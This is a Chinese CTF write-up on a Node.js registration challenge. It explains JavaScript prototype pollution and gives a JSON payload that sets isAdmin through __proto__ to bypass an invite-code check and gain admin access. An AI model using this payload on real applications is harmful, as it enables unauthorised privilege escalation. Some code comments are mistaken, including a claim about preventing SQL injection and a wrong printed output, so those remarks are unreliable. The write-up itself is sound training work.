题目
注册发现可以注册管理员,但是好像有条件
抓包试试
没思路了
看看其他师傅的wp,用到 js 原型链污染攻击
Nodejs原型链污染攻击基础知识 | Savant's Blog (lxscloud.top)
网站后端是Node.js搭建的
原型链污染
简单来讲,通过 newUser.__proto__ 可以访问到新对象的原型
未污染时
baseUser = {
a:1
}
user = {
a:2,
b:1,
__proto__:{
c:3
}
}
// 浅复制一个对象,第一个参数位是对象的内容,后面的参数位是多个对象内容叠加进去,进行复制出一个全新的对象
let newUser = Object.assign({}, baseUser, user)// 输出结果为{a:2,b:1},无污染
console.log(newUser) // {a: 2, b: 1}
console.log(newUser.__proto__)
//{constructor: ƒ, __defineGetter__: ƒ, __defineSetter__: ƒ, hasOwnProperty: ƒ, __lookupGetter__: ƒ, …}
污染后
baseUser = {
a:1
}
user = JSON.parse(' {"a" : 2 , "b" : 3 , "__proto__" : { "c" : 4 }} ')
let newUser = Object.assign({}, baseUser, user)
console.log(newUser)//输出{a: 2, b: 1}
console.log(newUser.__proto__) //被污染,输出{c: 4},而__proto__没有被输出的原因是它为隐藏属性
查看源码 ,尝试利用
// post请求的路径
app.post('/register', (req, res) => {
let user = JSON.parse(req.body) // 将输入的账号密码从json字符串转成对象
// 判断有没有输入账号和密码
if (!user.username || !user.password) {
return res.json({ msg: 'empty username or password', err: true })
}
// 判断账号是否存在总对象的username里,若注册时输入的用户名相同,则输出用户名已存在
if (users.filter(u => u.username == user.username).length) {
return res.json({ msg: 'username already exists', err: true })
}
//如果用户是管理员但邀请码不匹配,会将 user.isAdmin 设为 false,并返回一个错误的 JSON 响应。
//由于邀请码是常量 INVITE_CODE,其值在代码执行期间不会发生变化。这意味着无论用户提交的邀请码是什么,其与 INVITE_CODE 的比较结果将在代码执行前就已经确定。因此,无论用户如何构造输入,都不能通过修改邀请码来改变条件判断的结果,防止了SQL注入。
if (user.isAdmin && user.inviteCode != INVITE_CODE) {
user.isAdmin = false
return res.json({ msg: 'invalid invite code', err: true })
}
// 使用系统函数复制对象,打包成一个新的对象
let newUser = Object.assign({}, baseUser, user)
users.push(newUser) // 存到总对象里
res.json({ msg: 'user created successfully', err: false }) // 设置返回信息
})
构造playload
将下述
{"username":"1","password":"1","isAdmin":true,"inviteCode":"1"}
改为
{"username":"1","password":"1",
"__proto__":{"isAdmin":true}
}
污染成功
登录管理员